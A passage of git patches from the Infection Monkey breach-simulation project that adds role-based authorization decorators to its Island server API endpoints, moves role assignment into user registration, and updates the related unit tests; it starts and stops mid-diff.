Role(name=UserRoles.ISLAND.name, description=UserRoles.ISLAND.value) + @pytest.fixture def mock_repository_encryptor(autouse=True): @@ -33,9 +36,8 @@ def mock_island_event_queue(autouse=True): def mock_user_datastore(autouse=True): mock_user_datastore = MagicMock(spec=UserDatastore) - # TODO: Fix this with actual User and Role models - mock_user_datastore.find_user = MagicMock(return_value="some_user_object") - mock_user_datastore.find_or_create_role = MagicMock(return_value="some_role_object") + mock_user_datastore.find_user = MagicMock(return_value=USER) + mock_user_datastore.find_or_create_role = MagicMock(return_value=ROLE) return mock_user_datastore @@ -91,7 +93,7 @@ def test_role_apply_to_user( mock_user_datastore.find_user.called_with(USERNAME) mock_user_datastore.find_or_create_role.called_with(UserRoles.ISLAND.name) - mock_user_datastore.add_role_to_user.called_with("some_user_object", "some_role_object") + mock_user_datastore.add_role_to_user.called_with(USER, ROLE) def test_reset_island__unlock_encryptor_on_register( From 56f5fae3a6d2d931017530e164ebe13dc718aad7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 23:21:38 +0100 Subject: [PATCH 0483/1338] Island: Fix role_fields TODO in AuthenticationService --- monkey/monkey_island/cc/services/authentication_service.py | 3 +-- .../cc/services/test_authentication_service.py | 7 +++---- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 9d4dbbae4e7..85388fc0f7e 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -35,8 +35,7 @@ def needs_registration(self) -> bool: def apply_role_to_user(self, username: str, role_fields: Dict[str, str]): user = self._user_datastore.find_user(username=username) - # TODO: Fix role_fields logic - role = self._user_datastore.find_or_create_role(name=role_fields["name"]) + role = self._user_datastore.find_or_create_role(**role_fields) self._user_datastore.add_role_to_user(user=user, role=role) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 11e55215f37..7e64e0897d1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -82,16 +82,15 @@ def test_role_apply_to_user( mock_island_event_queue, mock_user_datastore, ): + role_fields = {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} a_s = AuthenticationService( tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore ) - a_s.apply_role_to_user( - USERNAME, {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} - ) + a_s.apply_role_to_user(USERNAME, role_fields) mock_user_datastore.find_user.called_with(USERNAME) - mock_user_datastore.find_or_create_role.called_with(UserRoles.ISLAND.name) + mock_user_datastore.find_or_create_role.called_with(role_fields) mock_user_datastore.add_role_to_user.called_with(USER, ROLE) From 091de6eae7afd34508f27241dedc225f9f89c3c1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 7 Mar 2023 23:46:59 +0100 Subject: [PATCH 0484/1338] Island: Add `roles_required` with UserRoles.ISLAND to all island used endpoints --- monkey/monkey_island/cc/resources/agent_logs.py | 4 +++- .../cc/resources/agent_signals/terminate_all_agents.py | 4 +++- monkey/monkey_island/cc/resources/agents.py | 5 +++-- .../monkey_island/cc/resources/clear_simulation_data.py | 4 +++- .../cc/resources/exploitations/monkey_exploitation.py | 4 +++- monkey/monkey_island/cc/resources/island_log.py | 4 +++- monkey/monkey_island/cc/resources/island_mode.py | 5 ++++- monkey/monkey_island/cc/resources/local_run.py | 4 +++- monkey/monkey_island/cc/resources/machines.py | 4 +++- monkey/monkey_island/cc/resources/nodes.py | 4 +++- monkey/monkey_island/cc/resources/ransomware_report.py | 4 +++- monkey/monkey_island/cc/resources/remote_run.py | 5 ++++- .../cc/resources/report_generation_status.py | 4 +++- .../cc/resources/reset_agent_configuration.py | 4 +++- monkey/monkey_island/cc/resources/security_report.py | 4 +++- monkey/monkey_island/cc/resources/version.py | 4 +++- .../flask_resources/agent_configuration.py | 4 +++- monkey/tests/unit_tests/monkey_island/conftest.py | 8 +++++--- 18 files changed, 58 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index 6abfd7f2069..fccbff3fb7d 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -2,8 +2,9 @@ from http import HTTPStatus from flask import request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from common.types import AgentID from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentLogRepository, UnknownRecordError @@ -18,6 +19,7 @@ def __init__(self, agent_log_repository: IAgentLogRepository): self._agent_log_repository = agent_log_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self, agent_id: AgentID): try: log_contents = self._agent_log_repository.get_agent_log(agent_id) diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index 9f50e8a5ca4..828867dae8c 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -3,8 +3,9 @@ from json import JSONDecodeError from flask import request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import TerminateAllAgents as TerminateAllAgentsObject @@ -22,6 +23,7 @@ def __init__( self._island_event_queue = island_event_queue @auth_token_required + @roles_required(UserRoles.ISLAND.name) def post(self): try: terminate_all_agents = TerminateAllAgentsObject(**request.json) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index 9b4d2460e80..fcfca3b406d 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -3,9 +3,9 @@ from http import HTTPStatus from flask import make_response, request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required -from common import AgentRegistrationData +from common import AgentRegistrationData, UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository @@ -21,6 +21,7 @@ def __init__(self, island_event_queue: IIslandEventQueue, agent_repository: IAge self._agent_repository = agent_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return self._agent_repository.get_agents(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index be19e336ef9..e583138e86f 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -1,8 +1,9 @@ from http import HTTPStatus from flask import make_response -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -14,6 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required + @roles_required(UserRoles.ISLAND.name) def post(self): """ Clear all data collected during the simulation diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index b7ebdc49d3b..a06c5bfe14e 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -1,7 +1,8 @@ from dataclasses import asdict -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -27,6 +28,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): monkey_exploitations = [ asdict(exploitation) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index 1e604144f47..79b7495481e 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -1,8 +1,9 @@ import logging from pathlib import Path -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from common.utils.file_utils import get_text_file_contents from monkey_island.cc.flask_utils import AbstractResource @@ -16,6 +17,7 @@ def __init__(self, island_log_file_path: Path): self._island_log_file_path = island_log_file_path @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): try: return get_text_file_contents(self._island_log_file_path) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index c8dbef787da..a3d66ebc219 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -3,8 +3,9 @@ from http import HTTPStatus from flask import request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import IslandMode as IslandModeEnum @@ -25,6 +26,7 @@ def __init__( self._simulation_repository = simulation_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def put(self): try: mode = IslandModeEnum(request.json) @@ -36,6 +38,7 @@ def put(self): return {}, HTTPStatus.UNPROCESSABLE_ENTITY @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): island_mode = self._simulation_repository.get_mode() return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 7b2a967e215..fff3cb7869e 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -1,8 +1,9 @@ import json from flask import jsonify, make_response, request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService @@ -15,6 +16,7 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): # API Spec: This should be an RPC-style endpoint @auth_token_required + @roles_required(UserRoles.ISLAND.name) def post(self): body = json.loads(request.data) if body.get("action") == "run": diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index d223f0e3268..b7199bb089b 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -1,7 +1,8 @@ from http import HTTPStatus -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IMachineRepository @@ -13,5 +14,6 @@ def __init__(self, machine_repository: IMachineRepository): self._machine_repository = machine_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return self._machine_repository.get_machines(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index 95274bd7ca8..27368010442 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -1,7 +1,8 @@ from http import HTTPStatus -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import INodeRepository @@ -13,5 +14,6 @@ def __init__(self, node_repository: INodeRepository): self._node_repository = node_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return self._node_repository.get_nodes(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 3bb85b85979..aa98f064302 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -1,6 +1,7 @@ from flask import jsonify -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -24,6 +25,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return jsonify( { diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 2977f36619d..0d84c530105 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -3,8 +3,9 @@ from botocore.exceptions import ClientError, NoCredentialsError from flask import jsonify, make_response, request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services import AWSService from monkey_island.cc.services.aws import AWSCommandResults @@ -29,6 +30,7 @@ def __init__(self, aws_service: AWSService): self._aws_service = aws_service @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): action = request.args.get("action") if action == "list_aws": @@ -50,6 +52,7 @@ def get(self): return {} @auth_token_required + @roles_required(UserRoles.ISLAND.name) def post(self): body = json.loads(request.data) if body.get("type") == "aws": diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index c23ab2a4b37..a0dcafd3405 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -1,6 +1,7 @@ from flask import jsonify -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository from monkey_island.cc.services.infection_lifecycle import is_report_done @@ -13,6 +14,7 @@ def __init__(self, agent_repository: IAgentRepository): self._agent_repository = agent_repository @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return self.report_generation_status() diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index 8b9eb146f37..0680d0ff5f9 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -1,8 +1,9 @@ from http import HTTPStatus from flask import make_response -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -14,6 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required + @roles_required(UserRoles.ISLAND.name) def post(self): """ Reset the agent configuration to its default values diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index fb525b7ecdf..22545a7f8de 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -1,5 +1,6 @@ -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.reporting.report import ReportService @@ -8,6 +9,7 @@ class SecurityReport(AbstractResource): urls = ["/api/report/security"] @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): ReportService.update_report() return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index 97684da921b..2e5d8da2ecb 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -1,7 +1,8 @@ import logging -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from monkey_island.cc import Version as IslandVersion from monkey_island.cc.flask_utils import AbstractResource @@ -15,6 +16,7 @@ def __init__(self, version: IslandVersion): self._version = version @auth_token_required + @roles_required(UserRoles.ISLAND.name) def get(self): return { "version_number": self._version.version_number, diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index 8a9477dfc2b..8d6425d9761 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -2,8 +2,9 @@ from http import HTTPStatus from flask import make_response, request -from flask_security import auth_token_required +from flask_security import auth_token_required, roles_required +from common import UserRoles from common.agent_configuration.agent_configuration import ( AgentConfiguration as AgentConfigurationObject, ) @@ -25,6 +26,7 @@ def get(self): return make_response(configuration_dict, HTTPStatus.OK) @auth_token_required + @roles_required(UserRoles.ISLAND.name) def put(self): try: configuration_object = AgentConfigurationObject(**request.json) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index caeb5852874..4727dbb368b 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -11,6 +11,7 @@ from flask_security import MongoEngineUserDatastore, Security import monkey_island +from common import UserRoles from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import Role, User @@ -70,13 +71,14 @@ def init_mock_security_app(): db.connect(db_name, mongo_client_class=mongomock.MongoClient) user_datastore = MongoEngineUserDatastore(db, User, Role) + island_role = user_datastore.find_or_create_role( + name=UserRoles.ISLAND.name, description=UserRoles.ISLAND.value + ) app.security = Security(app, user_datastore) ds = app.security.datastore with app.app_context(): ds.create_user( - email="unittest@me.com", - username="test", - password="password", + email="unittest@me.com", username="test", password="password", roles=[island_role] ) ds.commit() From c4e21da897df2e5ad68cfb18cfd49cfe2322a2d1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 8 Mar 2023 12:27:33 +0200 Subject: [PATCH 0485/1338] Island: Simplify role assignment to a registered user --- monkey/monkey_island/cc/app.py | 5 +++++ monkey/monkey_island/cc/resources/auth/register.py | 4 ---- .../monkey_island/cc/services/authentication_service.py | 8 -------- 3 files changed, 5 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 02eb57f4b5a..8767dc7152b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -108,6 +108,11 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] ) + def to_dict(self, only_user): + dict = super().to_dict(only_user) + dict.update({'roles': ['ISLAND']}) + return dict + app.security = Security( app, user_datastore, diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 121a0966e4c..c7e1a15f209 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -40,10 +40,6 @@ def post(self): if not isinstance(response, Response): return response_to_invalid_request() - self._authentication_service.apply_role_to_user( - username, {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} - ) - if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island_data() self._authentication_service.reset_repository_encryptor(username, password) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 85388fc0f7e..cbe8c979147 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -18,12 +18,10 @@ def __init__( data_dir: Path, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, - user_datastore: UserDatastore, ): self._data_dir = data_dir self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue - self._user_datastore = user_datastore def needs_registration(self) -> bool: """ @@ -33,12 +31,6 @@ def needs_registration(self) -> bool: """ return not User.objects.first() - def apply_role_to_user(self, username: str, role_fields: Dict[str, str]): - user = self._user_datastore.find_user(username=username) - role = self._user_datastore.find_or_create_role(**role_fields) - - self._user_datastore.add_role_to_user(user=user, role=role) - def reset_island_data(self): """ Resets the island From 6aa12d981ee4eabc4a8bcb259e34caf729dc93e1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:10:24 +0100 Subject: [PATCH 0486/1338] Island: Remove AuthenticationService.apply_role_to_user --- monkey/monkey_island/cc/app.py | 23 ++++---- .../cc/resources/auth/register.py | 1 - monkey/monkey_island/cc/server_setup.py | 20 +------ .../cc/services/authentication_service.py | 3 - .../services/test_authentication_service.py | 57 ++----------------- 5 files changed, 19 insertions(+), 85 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 8767dc7152b..effe6535669 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -5,12 +5,13 @@ from flask import Flask, Response, send_from_directory from flask.sessions import SecureCookieSessionInterface from flask_mongoengine import MongoEngine -from flask_security import ConfirmRegisterForm, Security, UserDatastore +from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError from common import DIContainer, UserRoles from monkey_island.cc.flask_utils import FlaskDIWrapper +from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( AgentBinaries, AgentEvents, @@ -70,7 +71,7 @@ def serve_home(): return serve_static_file(HOME_FILE) -def setup_authentication(app, data_dir, db, user_datastore): +def setup_authentication(app, data_dir): flask_security_config = generate_flask_security_configuration(data_dir) # TODO: After we switch to token base authentication investigate the purpose @@ -89,7 +90,8 @@ def setup_authentication(app, data_dir, db, user_datastore): app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None # The database object needs to be created after we configure the flask application - db.init_app(app) + db = MongoEngine(app) + user_datastore = MongoEngineUserDatastore(db, User, Role) _create_roles(user_datastore) @@ -99,7 +101,6 @@ def validate_no_user_exists_already(_, field): raise ValidationError("A user already exists. Only a single user can be registered.") class CustomConfirmRegisterForm(ConfirmRegisterForm): - # We don't use the email, but the field is required by ConfirmRegisterForm. # Email validators need to be overriden, otherwise an error about invalid email is raised. # Added custom validator to the email field because we have to override @@ -109,9 +110,9 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): ) def to_dict(self, only_user): - dict = super().to_dict(only_user) - dict.update({'roles': ['ISLAND']}) - return dict + registration_dict = super().to_dict(only_user) + registration_dict.update({"roles": [UserRoles.ISLAND.name]}) + return registration_dict app.security = Security( app, @@ -130,7 +131,7 @@ def _create_roles(user_datastore: UserDatastore): user_datastore.find_or_create_role(name=UserRoles.AGENT.name) -def init_app_config(app, mongo_url, data_dir: Path, db: MongoEngine, user_datastore: UserDatastore): +def init_app_config(app, mongo_url, data_dir: Path): app.config["MONGO_URI"] = mongo_url app.config["MONGODB_SETTINGS"] = [ { @@ -146,7 +147,7 @@ def init_app_config(app, mongo_url, data_dir: Path, db: MongoEngine, user_datast app.url_map.strict_slashes = False - setup_authentication(app, data_dir, db, user_datastore) + setup_authentication(app, data_dir) def disable_session_cookies() -> SecureCookieSessionInterface: @@ -220,8 +221,6 @@ def init_app( mongo_url: str, container: DIContainer, data_dir: Path, - db: MongoEngine, - user_datastore: UserDatastore, ): """ Simple docstirng for init_app @@ -234,7 +233,7 @@ def init_app( api = flask_restful.Api(app) api.representations = {"application/json": output_json} - init_app_config(app, mongo_url, data_dir, db, user_datastore) + init_app_config(app, mongo_url, data_dir) init_app_url_rules(app) flask_resource_manager = FlaskDIWrapper(api, container) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index c7e1a15f209..05ceec4e961 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -5,7 +5,6 @@ from flask.typing import ResponseValue from flask_security.views import register -from common import UserRoles from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.server_utils.response_utils import response_to_invalid_request diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 5ff9d66e8d0..9c022b97557 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -9,13 +9,10 @@ import gevent.hub import requests -from flask_mongoengine import MongoEngine -from flask_security import MongoEngineUserDatastore, UserDatastore from gevent.pywsgi import WSGIServer from monkey_island.cc import Version from monkey_island.cc.deployment import Deployment -from monkey_island.cc.models import Role, User from monkey_island.cc.server_utils.consts import ISLAND_PORT from monkey_island.cc.server_utils.island_logger import get_log_file_path from monkey_island.cc.setup.config_setup import get_server_config @@ -68,18 +65,11 @@ def run_monkey_island(): _initialize_mongodb_connection(config_options.start_mongodb, config_options.data_dir) - db = MongoEngine() - user_datastore = MongoEngineUserDatastore(db, User, Role) - - container = _initialize_di_container( - ip_addresses, version, config_options.data_dir, user_datastore - ) + container = _initialize_di_container(ip_addresses, version, config_options.data_dir) setup_island_event_handlers(container) setup_agent_event_handlers(container) - _start_island_server( - ip_addresses, island_args.setup_only, config_options, container, db, user_datastore - ) + _start_island_server(ip_addresses, island_args.setup_only, config_options, container) def _extract_config(island_args: IslandCmdArgs) -> IslandConfigOptions: @@ -136,11 +126,9 @@ def _initialize_di_container( ip_addresses: Sequence[IPv4Address], version: Version, data_dir: Path, - user_datastore: UserDatastore, ) -> DIContainer: container = DIContainer() - container.register_convention(UserDatastore, "user_datastore", user_datastore) container.register_convention(Sequence[IPv4Address], "ip_addresses", ip_addresses) container.register_instance(Version, version) container.register_convention(Path, "data_dir", data_dir) @@ -187,12 +175,10 @@ def _start_island_server( should_setup_only: bool, config_options: IslandConfigOptions, container: DIContainer, - db: MongoEngine, - user_datastore: UserDatastore, ): _configure_gevent_exception_handling(config_options.data_dir) - app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir, db, user_datastore) + app = init_app(mongo_setup.MONGO_URL, container, config_options.data_dir) if should_setup_only: logger.warning("Setup only flag passed. Exiting.") diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index cbe8c979147..3e52e283bb7 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,7 +1,4 @@ from pathlib import Path -from typing import Dict - -from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 7e64e0897d1..4e456835f68 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -1,11 +1,9 @@ from unittest.mock import MagicMock, call import pytest -from flask_security import UserDatastore -from common import UserRoles from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, Role, User +from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import AuthenticationService @@ -18,9 +16,6 @@ # to access the object that a fixture returns, it needs to be specified as an argument. # See https://stackoverflow.com/a/37046403. -USER = User(username=USERNAME, password=PASSWORD) -ROLE = Role(name=UserRoles.ISLAND.name, description=UserRoles.ISLAND.value) - @pytest.fixture def mock_repository_encryptor(autouse=True): @@ -32,26 +27,13 @@ def mock_island_event_queue(autouse=True): return MagicMock(spec=IIslandEventQueue) -@pytest.fixture -def mock_user_datastore(autouse=True): - mock_user_datastore = MagicMock(spec=UserDatastore) - - mock_user_datastore.find_user = MagicMock(return_value=USER) - mock_user_datastore.find_or_create_role = MagicMock(return_value=ROLE) - - return mock_user_datastore - - def test_needs_registration__true( mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue, - mock_user_datastore, ): - a_s = AuthenticationService( - tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) assert a_s.needs_registration() @@ -62,11 +44,8 @@ def test_needs_registration__false( tmp_path, mock_repository_encryptor, mock_island_event_queue, - mock_user_datastore, ): - a_s = AuthenticationService( - tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) mock_user = MagicMock(spec=User) monkeypatch.setattr("monkey_island.cc.services.authentication_service.User", mock_user) @@ -75,36 +54,13 @@ def test_needs_registration__false( assert not a_s.needs_registration() -def test_role_apply_to_user( - mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, - mock_user_datastore, -): - role_fields = {"name": UserRoles.ISLAND.name, "description": UserRoles.ISLAND.value} - a_s = AuthenticationService( - tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore - ) - - a_s.apply_role_to_user(USERNAME, role_fields) - - mock_user_datastore.find_user.called_with(USERNAME) - mock_user_datastore.find_or_create_role.called_with(role_fields) - - mock_user_datastore.add_role_to_user.called_with(USER, ROLE) - - def test_reset_island__unlock_encryptor_on_register( mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue, - mock_user_datastore, ): - a_s = AuthenticationService( - tmp_path, mock_repository_encryptor, mock_island_event_queue, mock_user_datastore - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) a_s.reset_repository_encryptor(USERNAME, PASSWORD) @@ -118,11 +74,8 @@ def 